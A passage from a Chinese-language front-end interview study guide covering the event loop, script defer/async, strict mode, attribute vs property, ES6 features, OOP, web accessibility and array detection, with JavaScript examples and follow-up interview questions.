alt fetch 请求成功请求失败调用栈调用栈浏览器线程浏览器线程微任务队列微任务队列宏任务队列宏任务队列发起 fetch 和 setTimeout1Promise.then 回调入队2同步代码执行完,栈清空依次取出所有微任务执行3定时器到点,回调入队4取一个宏任务执行5执行中又产生微任务6先把新微任务清空7Promise 变为 fulfilled,then 回调入队8Promise 变为 rejected,catch 回调入队9执行回调,更新页面10
  • 同步:浏览器访问服务器请求,用户看得到页面刷新,重新发请求,等请求完,页面刷新,新内容出现,用户看到新内容,进行下一步操作
  • 异步:浏览器访问服务器请求,用户正常操作,浏览器后端进行请求。等请求完,页面不刷新,新内容也会出现,用户看到新内容

常见的异步操作包括网络请求(Ajax)、定时器(setTimeout、setInterval)、事件处理等。在这些异步操作中,任务的执行不会阻塞程序的其他部分,而是在后台进行,当任务完成时,会通过回调函数或事件来通知程序进行下一步操作。

总结:同步操作是按照顺序依次执行任务,阻塞程序的执行;异步操作是通过回调函数或事件触发来执行任务,不会阻塞程序的执行,提高了程序的并发性和响应性。在实际开发中,异步操作通常用于处理耗时操作和需要等待结果的任务,以提高程序的性能和用户体验。

可以用一段代码把「同步阻塞」和「异步不阻塞」直接对比出来:

// 同步:用循环模拟一个 2 秒的耗时任务
function sleepSync(ms) {
  const end = Date.now() + ms
  while (Date.now() < end) {} // 主线程一直被占着
}

console.log('A')
sleepSync(2000)   // 这 2 秒里页面点不动、动画停住
console.log('B')  // 2 秒后才输出
// 输出:A,(等 2 秒)B

// 异步:把等待交给定时器
console.log('A')
setTimeout(() => console.log('C'), 2000) // 只登记,不等待
console.log('B')
// 输出:A B,(2 秒后)C,期间页面可以正常交互

再看 async/await 的执行顺序,很多人以为 await 后面的代码会马上执行:

async function run() {
  console.log(1)
  await null          // 后面的代码被放进微任务
  console.log(3)
}
run()
console.log(2)
// 输出:1 2 3

await 之前的代码是同步执行的,遇到 await 函数就让出控制权,外面的 console.log(2) 先跑,等同步代码结束、清空微任务时才轮到 console.log(3)。

记住一点就行:异步不是「多线程同时跑 JS」,而是把「等待」交出去,JS 代码本身仍然一次只跑一段。所以异步解决的是等待问题,解决不了计算量大的问题,后者要靠 Web Worker。

💬 面试官追问

  • console.log(1); setTimeout(() => console.log(2)); Promise.resolve().then(() => console.log(3)); console.log(4) 输出什么?

    1 4 3 2。1 和 4 是同步代码先跑;then 回调是微任务,同步代码跑完立刻清空;setTimeout 是宏任务,要等下一轮。

  • async 函数里 await 了一个请求,后面的代码会阻塞页面吗?

    不会,await 只是暂停这个函数,把剩下的代码挂到 Promise 完成之后,主线程会去处理别的事件。会阻塞页面的是同步的重计算,跟有没有 await 无关。

  • 三个互不依赖的接口,写成三行 await,有什么问题?

    会串行执行,总耗时是三者之和。改成 const [a, b, c] = await Promise.all([getA(), getB(), getC()]) 并行请求,总耗时等于最慢那个;其中一个失败不想影响其他的,就用 Promise.allSettled。

  • setTimeout(fn, 0) 是不是马上执行?

    不是,最快也要等当前同步代码和所有微任务跑完,嵌套超过 5 层浏览器还会强制最少 4ms。想在当前任务结束后尽快执行,用 queueMicrotask;想在下一帧渲染前执行,用 requestAnimationFrame。

  • 页面上一个按钮点了之后要做 2 秒的同步计算,期间整页卡死,有什么办法?

    把计算挪到 Web Worker 里,主线程通过 postMessage 收结果。不方便拆的话,就把任务切成小块,每块之间用 setTimeout 或 scheduler.yield() 让出主线程,让浏览器有机会响应点击和渲染。

# 41 defer和async

⚡ 30 秒速记

  • 共同点:都并行下载、下载时不阻塞 HTML 解析,只对带 src 的外链脚本有效
  • defer:等 HTML 解析完才执行,多个按书写顺序,在 DOMContentLoaded 之前跑完
  • async:下载完立刻执行,会打断解析;多个之间谁先下完谁先跑,和 DOMContentLoaded 谁先谁后也不确定
  • 选型:有依赖、要操作 DOM 的业务代码用 defer;独立的统计、广告、监控脚本用 async
  • type="module" 默认就是 defer,加 async 才变成 async;模块脚本例外,内联的 module 写 async 也有效

defer 和 async 都是让脚本边解析边下载,区别在于什么时候执行、按不按顺序。 defer 是等 HTML 全部解析完,再按标签顺序依次执行,执行完才触发 DOMContentLoaded,所以适合 jQuery 加业务代码这种有依赖的组合。async 是谁下完谁执行,执行的时候会暂停 HTML 解析,顺序完全看网速,所以只适合跟谁都没关系的脚本,比如统计和广告。两个属性都只对外链脚本生效,普通内联脚本上写了没用。

时序图 · 3 个参与者 / 9 步
alt async 脚本先下完解析先完成HTML 解析器HTML 解析器网络网络JS 引擎JS 引擎遇到 defer 脚本,开始下载1遇到 async 脚本,开始下载2两个下载期间继续解析 HTMLasync 脚本就绪3暂停解析,执行 async 脚本4执行完,继续解析5解析完成,async 稍后执行defer 脚本下载完成6HTML 解析完,按顺序执行 defer 脚本7defer 全部执行完8触发 DOMContentLoaded9
  • defer并行加载js文件,会按照页面上script标签的顺序执行
  • async并行加载js文件,下载完成立即执行,不会按照页面上script标签的顺序执行

下面是更详细的解释:

defer和async是用于控制<script>标签加载和执行的属性。

  • defer 属性用于延迟脚本的执行,即脚本会被并行下载,但会等到整个文档解析完成后再执行。多个带有defer属性的脚本会按照它们在文档中的顺序执行。这样可以确保脚本在操作DOM之前加载,避免阻塞页面的渲染。需要注意的是,只有外部脚本(通过src属性引入的脚本)才能使用defer属性。
<script src="script1.js" defer></script>
<script src="script2.js" defer></script>
  • async 属性用于异步加载脚本,即脚本会被并行下载,并在下载完成后立即执行。多个带有async属性的脚本的执行顺序是不确定的,哪个脚本先下载完成就先执行。这样可以提高脚本的加载性能,但可能会导致脚本之间的依赖关系出现问题。同样,只有外部脚本才能使用async属性。
<script src="script1.js" async></script>
<script src="script2.js" async></script>

需要注意的是,defer和async属性只在外部脚本中生效,即通过src属性引入的脚本。如果脚本直接嵌入在<script>标签中,这两个属性不起作用。

选择使用defer还是async取决于脚本的加载和执行顺序的重要性。如果脚本之间有依赖关系,并且需要按照顺序执行,应使用defer。如果脚本之间没有依赖关系,且可以并行加载和执行,可以使用async来提高加载性能。

💬 面试官追问

  • jquery.js 和依赖它的 app.js 都加了 async,线上偶尔报 $ is not defined,为什么?

    async 不保证顺序,app.js 文件小、或者命中了缓存先下完,就比 jQuery 先执行了。两个都改成 defer,或者干脆打包成一个文件。

  • async 脚本里监听 DOMContentLoaded,为什么有时候回调不执行?

    async 脚本可能在 DOMContentLoaded 之后才执行,那时事件已经触发过了,再监听就收不到。要先判断 document.readyState,不是 'loading' 就直接执行初始化逻辑。

  • 两个属性同时写 <script src="a.js" async defer> 会怎样?

    支持 async 的浏览器按 async 处理,defer 只在不认识 async 的老浏览器上兜底。现在所有浏览器都支持 async,这么写等于只写了 async。

  • <script type="module" src="main.js"> 需要再加 defer 吗?

    不需要,模块脚本默认就是 defer 的行为,加了也没效果。想让它下完就执行要加 async。

  • defer 的脚本会阻塞页面首次渲染吗?

    不会阻塞解析,浏览器可以先把已解析的内容画出来。但它们都在 DOMContentLoaded 之前执行,如果 defer 脚本又大又慢,依赖 DOMContentLoaded 的逻辑和一些首屏交互还是会被拖后。

# 42 说说严格模式的限制

⚡ 30 秒速记

  • 变量必须先声明,给未声明变量赋值抛 ReferenceError,不再悄悄造全局变量
  • 独立调用的函数 this 是 undefined,不再指向全局对象;call(null) 也不会被替换成 window
  • 静默失败变报错:给只读属性赋值、给不可扩展对象加属性、delete 不可删除的属性都抛 TypeError
  • 语法禁用:with、八进制字面量 0123、参数重名、delete 变量名、把 eval / arguments 当变量名
  • arguments 不再和形参联动,arguments.callee 不能用;eval 有独立作用域;新增保留字 implements、interface、private 等

严格模式的限制可以归成三类:禁掉容易出错的语法、把静默失败改成报错、修正几个反直觉的行为。 语法上,with、八进制字面量、重名参数直接不让写;运行时,给未声明变量赋值、改只读属性这种原来默默失败的操作都会抛异常;行为上,函数直接调用时 this 是 undefined,arguments 不再跟着形参变,eval 里声明的变量也出不来。迁移老代码时最容易出问题的是 this 那条,原来依赖 this 指向 window 的代码会直接报错。

严格模式(Strict Mode)是 ECMAScript 5 引入的一种特殊模式,用于限制 JavaScript 代码中的一些不安全或不规范的语法,提供更严格的语法检查,减少一些怪异行为,并改善代码质量和可维护性。

严格模式的一些限制包括但不限于:

  1. 变量必须先声明再使用,禁止隐式全局变量。
  2. 函数的参数不能有同名属性,否则会报错。
  3. 禁止使用 with 语句。
  4. 不能对只读属性赋值,否则会报错。
  5. 不能使用前缀 0 表示八进制数,否则会报错。
  6. 不能删除不可删除的属性,不能删除变量,只能删除对象属性。
  7. eval 函数在其内部引入的变量不会影响外部作用域。
  8. eval 和 arguments 不能被重新赋值。
  9. arguments 不会自动反映函数参数的变化。
  10. 不能使用 arguments.callee 和 arguments.caller。
  11. 禁止 this 指向全局对象。
  12. 不能使用 fn.caller 和 fn.arguments 获取函数调用的堆栈。
  13. 增加了一些保留字,如 protected、static 和 interface。

使用严格模式可以提高代码的可靠性,减少意外错误和怪异行为。要启用严格模式,可以在脚本文件或函数体的开头加上 'use strict'; 来指示 JavaScript 解析器以严格模式解析代码。

💬 面试官追问

  • 'use strict'; const o = Object.freeze({ a: 1 }); o.a = 2 会怎样?

    抛 TypeError。非严格模式下这行赋值会被静默忽略,o.a 还是 1,很难发现。严格模式能帮你立刻定位到这种「改了但没生效」的问题。

  • 非严格模式下改了形参,arguments[0] 会跟着变吗?严格模式呢?

    非严格模式(且参数是简单参数)会跟着变,两者是联动的;严格模式下互不影响,arguments 只保留调用时传进来的原始值。现在直接用剩余参数 ...args 就不用操心这个了。

  • 老代码里用 arguments.callee 实现匿名函数递归,开严格模式后怎么改?

    给函数表达式起个名字:const fact = function inner(n) { return n <= 1 ? 1 : n * inner(n - 1) },inner 只在函数内部可见,不会污染外层作用域。

  • 严格模式下 fn.call(null),函数里的 this 是什么?

    就是 null,传什么是什么,原始值也不会被包装成对象。非严格模式下 null 和 undefined 会被替换成全局对象,fn.call(1) 的 this 会是一个 Number 对象。

  • 为什么严格模式要禁掉 with?

    with(obj) { x = 1 } 里的 x 到底是 obj.x 还是外层变量,要运行时才知道,引擎没法提前确定作用域,优化不了,人读起来也容易误判。需要简写就用解构 const { a, b } = obj。

# 43 attribute和property的区别是什么

⚡ 30 秒速记

  • attribute:写在 HTML 标签上的,值永远是字符串,用 getAttribute / setAttribute 读写
  • property:DOM 对象上的属性,有真实类型(布尔、数字、对象),用点语法读写
  • 标准属性初始会映射,但不一定一直同步:input 输入后 el.value 变了,getAttribute('value') 还是初始值,它对应的是 el.defaultValue
  • 布尔属性:attribute 只要存在就算开启,disabled="false" 照样禁用;property 才是真的 true / false
  • 名字不一定一样:class ↔ className,for ↔ htmlFor;自定义数据用 data-* 配合 el.dataset

attribute 是 HTML 标签上写的那份初始配置,property 是浏览器把标签变成 DOM 对象后,对象身上的当前状态。 比如 <input value="张三">,用户把内容改成李四,el.value 是李四,但 getAttribute('value') 还是张三,因为 value 这个 attribute 对应的是默认值。类型也不一样,attribute 全是字符串,checked、disabled 这类布尔属性只看有没有,写 disabled="false" 照样是禁用。所以我操作元素状态都用 property,只有处理自定义属性或者要影响 CSS 属性选择器时才用 attribute。

  • attribute是dom元素在文档中作为html标签拥有的属性;
  • property就是dom元素在js中作为对象拥有的属性。
  • 对于html的标准属性来说,attribute和property是同步的,是会自动更新的
  • 但是对于自定义的属性来说,他们是不同步的

attribute和property是用于描述DOM元素的特性和属性的两个概念。

区别如下:

  • Attribute(属性)是DOM元素在HTML文档中定义的特性,它可以在HTML标签上声明并存储相关信息。例如,<div class="container">中的class就是一个属性。在JavaScript中,可以通过getAttribute和setAttribute方法来获取和设置属性的值。

  • Property(属性)是DOM元素作为对象的属性,用于访问和操作元素的状态和行为。例如,document.getElementById('myElement').className中的className就是DOM对象的属性。在JavaScript中,可以直接通过.运算符来访问和修改对象的属性。

主要区别:

  1. 同步性:对于HTML标准属性来说,属性和特性是同步的,它们会相互影响和更新。但是对于自定义的属性,特性和属性之间是不同步的。
  2. 值的类型:属性值是具体的数据类型,例如字符串、布尔值、数字等。而特性值始终是字符串。
  3. 访问方式:属性可以通过直接访问对象的属性来获取和设置,而特性需要使用相关的方法(例如getAttribute和setAttribute)来访问和操作。

需要注意的是,大多数情况下,我们更常使用属性来操作DOM元素,因为它们更直观和方便。而特性主要用于处理自定义属性或一些特殊情况下的操作。

💬 面试官追问

  • 按钮写了 setAttribute('disabled', false),为什么还是不能点?

    attribute 的值会被转成字符串 'false',而布尔属性只要存在就算开启。要么 btn.disabled = false,要么 btn.removeAttribute('disabled')。

  • 表单「重置」功能为什么能把输入框恢复成初始值?

    重置用的就是 defaultValue,也就是 value 这个 attribute。用户输入只改了 property,attribute 一直保存着初始值,所以能恢复。

  • el.href 和 el.getAttribute('href') 拿到的值为什么不一样?

    标签上写 href="/about",getAttribute 原样返回 '/about',property 会解析成完整地址 'https://example.com/about'。img 的 src 也是同样的规律。

  • 给元素加 data-user-id="42",JS 里怎么读?

    el.dataset.userId,连字符会自动转成小驼峰,读出来是字符串 '42',要数字自己转。改 dataset 会同步回 attribute,所以 CSS 里 [data-user-id="42"] 选择器也能跟着生效。

  • Vue 里 :value 绑定到 input 上,设的是 attribute 还是 property?

    Vue 会对 input 的 value、checked 这类需要实时状态的属性直接设 property,其余普通属性设 attribute。Vue 3 里还可以用 .prop 修饰符强制走 property,^ 前缀强制走 attribute。

# 44 谈谈你对ES6的理解

⚡ 30 秒速记

  • ES6 就是 ES2015,此后每年发一版,面试时最好提一句别停在 ES6
  • 语法:let / const 块级作用域、箭头函数、模板字符串、解构、默认参数、展开 / 剩余运算符、class
  • 新能力:Promise、Symbol、Map / Set / WeakMap、迭代器 + for...of、Generator、Proxy / Reflect、import / export
  • 易错点:箭头函数没有自己的 this,是沿用外层的;class 不完全是语法糖,有暂时性死区、必须 new、方法不可枚举
  • 后续常用:async/await(ES2017)、?. 和 ??(ES2020)、Array.prototype.at(ES2022);管道运算符 |> 至今还是提案,不属于 ES6

ES6 是 JS 最大的一次升级,解决了作用域混乱、异步回调地狱和缺少模块系统这三个老问题。 let 和 const 带来块级作用域,循环里绑定事件不再踩 var 的坑;Promise 让异步可以链式写,后来的 async/await 也是建立在它上面;import / export 让语言终于有了官方模块化方案。日常写代码最离不开的是解构、展开运算符、箭头函数和模板字符串。另外要知道 ES6 之后每年都有新版本,我平时用得最多的可选链和空值合并其实是 ES2020 的。

ES6(ECMAScript 2015)是JavaScript的第六个主要版本,引入了许多新的语言特性和改进,以提升开发人员的效率和代码质量。以下是ES6的一些重要特性:

  1. 块级作用域:引入let和const关键字,允许在块级作用域中声明变量,解决了变量提升和作用域污染的问题。
  2. 箭头函数:使用箭头(=>)定义函数,简化了函数的书写,并且自动绑定了this。
  3. 模板字符串:使用反引号(`)包裹字符串,可以在字符串中使用变量和表达式,实现更灵活的字符串拼接和格式化。
  4. 解构赋值:通过解构赋值语法,可以从数组或对象中提取值,并赋给对应的变量,简化了变量赋值的操作。
  5. 默认参数:函数可以定义默认参数值,简化了函数调用时传参的操作。
  6. 扩展运算符:使用三个点(...)进行数组和对象的展开操作,可以将一个数组或对象拆分为独立的元素,或者将多个数组或对象合并为一个。
  7. Promise:引入了Promise对象,用于更好地处理异步操作,解决了回调地狱的问题,并提供了更清晰的异步编程模式。
  8. 类和模块化:ES6引入了类的概念,可以使用class关键字定义类,实现了更接近传统面向对象编程的方式。同时,ES6还提供了模块化的支持,可以使用import和export语法导入和导出模块。
  9. 模块化:引入了模块化的概念,可以使用import和export语法导入和导出模块,提供了更好的代码组织和模块复用的方式。
  10. 迭代器和生成器**:引入了迭代器和生成器的概念,可以通过自定义迭代器来遍历数据集合,并使用生成器函数来生成迭代器。
  11. 管道操作符:提案阶段的特性,引入了管道操作符(|>),可以将表达式的结果作为参数传递给下一个表达式,简化了函数调用和方法链的写法。

这些特性只是ES6的一部分,还有其他许多特性,如Promise.all、Map、Set、Proxy、Reflect等。ES6的引入使得JavaScript语言更加现代化和强大,提供了更多的编程工具和语法

当然,以下是对ES6特性的一些示例代码:

  1. 箭头函数:
// 传统函数
function sum(a, b) {
  return a + b;
}

// 箭头函数
const sum = (a, b) => a + b;

// 使用箭头函数作为回调函数
const numbers = [1, 2, 3, 4, 5];
const squaredNumbers = numbers.map(num => num * num);
console.log(squaredNumbers); // [1, 4, 9, 16, 25]
  1. 模板字符串:
const name = "Alice";
const age = 25;

// 使用模板字符串进行字符串拼接和变量插值
const message = `My name is ${name} and I am ${age} years old.`;
console.log(message); // My name is Alice and I am 25 years old.
  1. 解构赋值:
// 数组解构赋值
const numbers = [1, 2, 3, 4, 5];
const [first, second, ...rest] = numbers;
console.log(first); // 1
console.log(second); // 2
console.log(rest); // [3, 4, 5]

// 对象解构赋值
const person = { name: "Alice", age: 25 };
const { name, age } = person;
console.log(name); // Alice
console.log(age); // 25
  1. 默认参数:
// 函数默认参数
function greet(name = "Anonymous") {
  console.log(`Hello, ${name}!`);
}

greet(); // Hello, Anonymous!
greet("Alice"); // Hello, Alice!
  1. 扩展运算符:
// 数组展开
const numbers = [1, 2, 3];
const combined = [...numbers, 4, 5];
console.log(combined); // [1, 2, 3, 4, 5]

// 对象展开
const person = { name: "Alice", age: 25 };
const copiedPerson = { ...person };
console.log(copiedPerson); // { name: "Alice", age: 25 }
  1. Promise:
// Promise示例
const fetchData = () => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data fetched successfully");
    }, 2000);
  });
};

fetchData()
  .then(data => {
    console.log(data); // Data fetched successfully
  })
  .catch(error => {
    console.error(error);
  });

这些示例展示了ES6的一些特性的用法,但请注意,ES6的特性在不同的环境中可能有不同的支持程度,因此在实际开发中需要注意目标环境的兼容性。

💬 面试官追问

  • 对象方法写成箭头函数,this 为什么拿不到对象?

    箭头函数没有自己的 this,用的是定义时外层作用域的 this。const obj = { name: 'a', say: () => this.name } 里外层是模块或全局,this 不是 obj。对象方法要用普通方法简写 say() { return this.name }。

  • for (var i = 0; i < 3; i++) setTimeout(() => console.log(i)) 输出什么,改成 let 呢?

    var 输出 3 3 3,三个回调共享同一个 i;let 输出 0 1 2,因为 let 在每轮循环都创建一个新的绑定。

  • 都说 class 是语法糖,那它和构造函数写法有什么区别?

    有好几处不一样:class 不能不带 new 直接调用,声明前访问会触发暂时性死区,内部自动严格模式,原型方法不可枚举。另外 #private 私有字段只能用 class 写,构造函数模拟不出来。

  • 项目要兼容一些老的 Android 内置浏览器,ES6+ 代码怎么上线?

    语法用 Babel 或者 SWC 转成 ES5,Promise、Array.prototype.includes 这类 API 要靠 core-js 打补丁,按 browserslist 配置按需引入。注意 Proxy 没法完全降级,用了它的库在老环境里就是跑不了。

  • Promise 是 ES6 的,那 async/await 呢?

    ES2017 才有,它是 Promise 加 Generator 思路的语法封装。类似的经常被说成 ES6 的还有 Array.prototype.includes(ES2016)和对象展开 { ...obj }(ES2018),ES6 里只有数组展开。

# 45 什么是面向对象编程及面向过程编程,它们的异同和优缺点

⚡ 30 秒速记

  • 面向过程:按步骤拆,函数一个接一个调;数据和函数分开放,简单直接
  • 面向对象:按「东西」拆,把数据和操作它的方法封装在一起,对象之间互相协作
  • 三大特性:封装(藏起内部细节)、继承(复用)、多态(同一个调用,不同对象表现不同)
  • 过程式写小脚本快,需求一复杂容易到处改;面向对象好扩展,但过度设计、继承层级太深一样难维护
  • JS 的面向对象基于原型,class 是建在原型上的;现代前端更多是函数式 + 组合,React 组件和 hooks 就是例子

面向过程是按「先做什么再做什么」来组织代码,面向对象是按「有哪些东西、它们各自负责什么」来组织代码。 拿购物车举例,面向过程会写 addItem、calcTotal、applyCoupon 一串函数,数据传来传去;面向对象就做一个 Cart 类,商品列表和这些方法都放在里面,外面只调 cart.checkout()。前者写起来快、逻辑一眼看到底,适合脚本和简单流程;后者在业务复杂、多人协作时更好维护和扩展。不过实际项目我不会死守一种,JS 里更常见的是对象建模加函数式的组合,继承能不用就不用。

面向过程编程(Procedural Programming)和面向对象编程(Object-Oriented Programming)是两种不同的编程范式。

面向过程编程是一种以过程(函数、方法)为中心的编程方式,将程序看作是一系列的步骤,通过顺序执行这些步骤来解决问题。面向过程编程强调的是解决问题的步骤和算法,将问题划分为不同的子任务,通过函数的调用和数据的传递来实现任务之间的协作。

面向过程编程的特点:

  • 程序以过程为单位进行组织,以函数为基本单位。
  • 数据和函数是分离的,函数对于数据的操作是通过参数进行传递。
  • 强调算法和步骤,对问题进行分解和抽象,通过顺序、选择、循环等基本结构来控制程序的流程。
  • 程序的可重用性较低,容易产生大量的重复代码。

面向对象编程是一种以对象为中心的编程方式,将程序看作是一系列相互关联的对象,通过对象之间的交互和消息传递来解决问题。面向对象编程强调的是事物(对象)的抽象、封装、继承和多态性。

面向对象编程的特点:

  • 程序以对象为单位进行组织,对象是数据和方法的封装体。
  • 数据和函数(方法)是紧密关联的,对象通过方法来操作自己的数据。
  • 强调对象之间的关系和交互,通过继承、封装和多态性来实现代码的复用和灵活性。
  • 程序的可重用性较高,易于维护和扩展。

异同和优缺点:

  • 异同:
    • 异同点在于编程的思维方式和组织代码的方式不同,面向过程注重解决问题的步骤和算法,面向对象注重对象和对象之间的关系和交互。
    • 面向过程将问题分解为不同的函数来实现,而面向对象将问题抽象为对象,通过对象的方法来实现功能。
  • 优点:
    • 面向过程编程的优点包括:简单、直观、执行效率高。
    • 面向对象编程的优点包括:可重用性高、易于扩展和维护、代码更加模块化和灵活。
  • 缺点:
    • 面向过程编程的缺点包括:代码重复性高、维护困难、扩展性差。
    • 面向对象编程的缺点包括:复杂性高、学习曲线陡

💬 面试官追问

  • 前端项目里真的会用到继承吗?

    用得越来越少了。React 官方明确推荐组合而不是继承,复用逻辑用 hooks;Vue 3 用组合式函数。继承比较常见的地方是自定义错误类 class ApiError extends Error,或者一些 SDK 内部的基类。

  • 用一个例子说说什么是多态?

    比如有 Circle 和 Rect 两个类,都实现了 draw() 方法,画布遍历图形时只管调 shape.draw(),不用判断是哪种图形。以后加一个 Triangle 也只要实现 draw(),调用方一行不用改,这就是多态带来的扩展性。

  • 继承层级一深为什么会难维护?

    子类依赖父类的内部实现,改一个父类方法可能影响所有子类,这叫脆弱基类问题。而且一个类只能继承一个父类,想要「会飞」又「会游」就很别扭,用组合把能力拆成独立模块拼起来更灵活。

  • JS 的 class 和 Java 的类一样吗?

    不一样。JS 的 class 背后还是原型链,Child.prototype.__proto__ === Parent.prototype,方法都挂在原型上共享,运行时还能动态改原型。Java 的类是编译期确定的结构。

  • 写一个只跑一次的数据迁移脚本,你会用面向对象写吗?

    一般不会,几个函数按步骤串起来最清楚,没必要为了一次性的流程设计类。选范式看代码要活多久、会不会扩展,长期维护、多人改的业务模块才值得好好做对象建模。

# 46 面向对象编程思想

⚡ 30 秒速记

  • OOP = 把数据和操作它的方法装进同一个对象,对象之间靠调用方法协作
  • 三大特性:封装(藏细节、只露接口)/ 继承(复用父类能力)/ 多态(同一个调用,不同对象各自实现)
  • SOLID 五原则里最常被追问的是单一职责和开闭原则:加功能靠扩展,别改老代码
  • 组合优于继承:继承超过两层就难改,把能力拼进来更灵活,React Hooks、Vue 组合式 API 都是这个思路
  • 别过度设计:一个只用一次的工具函数,不需要包成类再套三层抽象

面向对象说白了就是把「数据」和「处理这份数据的方法」绑在一起,变成一个个对象,再让对象之间互相调用。 封装是把内部状态藏起来,只给外面几个方法用,比如购物车对外只有 add、remove、total,里面怎么存不重要;继承让子类复用父类的能力;多态是同样调 pay(),微信支付和支付宝各走各的实现,调用方不用写 if-else。前端里我用得更多的是组合,继承一深,改父类就怕牵一发动全身。

面向对象编程(Object-Oriented Programming,简称OOP)是一种编程思想和方法论,其基本思想是以对象为中心,通过封装、继承和多态等机制来组织和管理代码。以下是面向对象编程的基本思想:

  1. 封装(Encapsulation):将数据和对数据的操作封装在一起,形成对象。对象对外暴露有限的接口,隐藏内部实现细节,提供更好的模块化和抽象性。
  2. 继承(Inheritance):通过继承机制,一个类(子类)可以继承另一个类(父类)的属性和方法,并可以在此基础上添加、修改或扩展功能。继承可以实现代码的重用性和层次化的组织。
  3. 多态(Polymorphism):多态是指同一个方法名可以在不同的对象上产生不同的行为。通过多态,可以以统一的方式处理不同类型的对象,提高代码的灵活性和可扩展性。

面向对象编程的优点包括:

  • 易维护性:对象的封装性和模块化使得代码易于维护和理解。对修改封闭、对扩展开放的原则可以减少对已有代码的影响。
  • 代码重用性:通过继承和组合等机制,可以重用已有的类和代码,减少重复编写代码的工作量。
  • 灵活性和可扩展性:面向对象编程提供了灵活的结构和抽象层次,使得代码易于扩展和修改,适应需求的变化。
  • 可靠性:封装和继承等机制可以提高代码的可靠性和可测试性,减少错误的发生和影响范围。
  • 可理解性:面向对象的代码通常具有良好的可读性和可理解性,对象和类的设计使得代码更加直观和自然。

面向对象编程可以提供更高层次的抽象和组织,适用于复杂的系统和大型项目的开发。但同时,面向对象编程也有一些限制和挑战,如学习曲线较陡、设计复杂度高、性能开销等。适合选择何种编程思想取决于具体的项目需求和开发场景。

💬 面试官追问

  • 多态在 JS 里怎么体现?给个例子。

    不同对象实现同名方法就行:[new WxPay(), new AliPay()].forEach(p => p.pay(100)),调用方只认 pay 这个接口。JS 是鸭子类型,连共同父类都不需要,TS 里用 interface 约束一下更稳。

  • JS 没有 class 之前算不算面向对象?

    算。JS 一直是基于原型的面向对象,ES6 的 class 只是原型继承的语法糖,typeof class A {} 输出的还是 'function'。

  • 为什么都说组合优于继承?

    继承是「是一个」的强绑定,父类改一个方法所有子类跟着变,层级深了谁都不敢动。组合是「有一个」,比如给组件拼上 useRequest、useScroll,哪个能力不要了直接拿掉,互不影响。

  • 私有属性在 JS 里怎么做?

    现在直接用 # 私有字段:class A { #count = 0 },外面访问 a.#count 会直接语法报错。以前靠闭包或者下划线约定,下划线只是君子协定,挡不住人改。

  • 前端项目里还有必要用 OOP 吗?

    看场景。UI 层现在基本是函数式加 Hooks,但编辑器、画布、游戏、SDK 这类有复杂内部状态的模块,用类组织反而清楚。我不会为了风格统一硬选一边。

# 47 对web标准、可用性、可访问性的理解

⚡ 30 秒速记

  • Web 标准:结构 HTML / 表现 CSS / 行为 JS 分离,按 W3C、WHATWG 规范写,换浏览器也能正常工作
  • 可用性:普通用户能不能顺利办完事 → 加载快、操作直观、出错有提示
  • 可访问性(a11y):残障用户能不能用 → 读屏器、纯键盘、色弱、低视力
  • 落地清单:语义化标签、图片 alt、表单 label 关联、键盘可达且焦点可见、文字对比度至少 4.5:1
  • 能用原生标签就别 div 加 ARIA 硬凑,ARIA 第一条规则就是「能不用就不用」

这三个词分别管「按规矩写」「好不好用」「谁都能用」。 Web 标准是基础,结构、样式、行为分开,按规范写,页面在各家浏览器上表现一致,也好维护。可用性看的是普通用户能不能顺手完成任务,比如按钮够不够大、报错说没说清楚。可访问性是给看不见、用不了鼠标的人兜底,读屏器靠语义标签和 alt 才知道页面上是什么。其实三者是连着的,标签用对了,可访问性自然就好了一大半。

Web标准(Web Standards)是指由W3C(World Wide Web Consortium)等组织制定的用于开发和实现Web内容的一系列规范和标准。它包括HTML、CSS、JavaScript等技术规范,旨在确保不同浏览器和设备在呈现网页时的一致性和互操作性。遵循Web标准可以提高网站的可维护性、可访问性和可扩展性,同时提升用户体验。

  • 可用性(Usability)是指一个产品或系统在用户使用过程中的易用性和用户满意度。一个具有良好可用性的产品能够满足用户的需求,提供直观、简洁、一致的用户界面,减少用户的学习成本和操作复杂度,提供明确的反馈和帮助信息,从而提升用户的效率和满意度。
  • 可访问性(Accessibility)是指Web内容对于所有用户,包括残障用户,的可阅读和可理解性。它涉及到使用无障碍技术和遵循无障碍设计原则,以确保残障用户能够平等地获取和使用Web内容。这包括为视觉、听觉、运动和认知等方面的残障用户提供适当的辅助功能和支持,如屏幕阅读器、放大器、辅助键盘等。
  • 可维护性(Maintainability)是指一个系统或代码的易维护性和可理解性。一个具有良好可维护性的系统能够快速定位和修复问题,容易进行功能扩展和修改。为了提高可维护性,代码应具有良好的结构和组织,遵循设计模式和编程规范,提供清晰的注释和文档,同时采用合适的工具和方法进行版本控制和测试。

这三个概念在Web开发中都非常重要。遵循Web标准可以提高网站的可访问性和可用性,从而更好地服务于用户的需求。同时,考虑可维护性可以降低代码的维护成本和风险,使开发团队能够更加高效地进行开发和迭代。

💬 面试官追问

  • 用 div 加 onclick 做按钮,有什么问题?

    键盘 Tab 不到它,回车空格也触发不了,读屏器只会念成一段文字。换成 <button> 这些全都白送;非要用 div,得自己补 role="button"、tabindex="0" 和键盘事件,费力还容易漏。

  • 设计稿把输入框的焦点轮廓去掉了,你怎么处理?

    outline: none 我一般会拦,纯键盘用户靠它知道自己在哪。折中做法是用 :focus-visible,鼠标点的时候不显示,键盘操作时才出焦点框,设计和可访问性都照顾到。

  • 图片的 alt 怎么写?装饰图也要写吗?

    内容图写它表达的意思,比如「订单已支付成功」,别写「图片」两个字。纯装饰图写 alt="",读屏器会直接跳过;完全不写 alt 的话,有的读屏器会把文件名念出来。

  • 怎么快速检查一个页面的可访问性问题?

    先拔掉鼠标,只用 Tab 和回车走一遍核心流程。再跑 Lighthouse 的 Accessibility 项或者 axe 插件,对比度、缺 alt、缺 label 这些能自动扫出来。最后开 VoiceOver 听一遍关键页面。

  • 页面全用 div 写,跟用语义化标签,用户能看出区别吗?

    视觉上看不出,但读屏器用户、搜索引擎、浏览器阅读模式都能看出来。<nav>、<main>、<h1> 这些标签能让读屏器直接跳到导航或正文,全是 div 就只能从头听到尾。

# 48 如何通过JS判断一个数组

⚡ 30 秒速记

  • 首选 Array.isArray(x),ES5 就有,跨 iframe 也准
  • 兜底:Object.prototype.toString.call(x) === '[object Array]',但能被 Symbol.toStringTag 伪造
  • x instanceof Array 跨 iframe 会失效,每个窗口有自己的 Array 构造函数
  • x.constructor === Array 能被随手改掉,不可靠
  • typeof [] 是 'object',这个判断不了数组

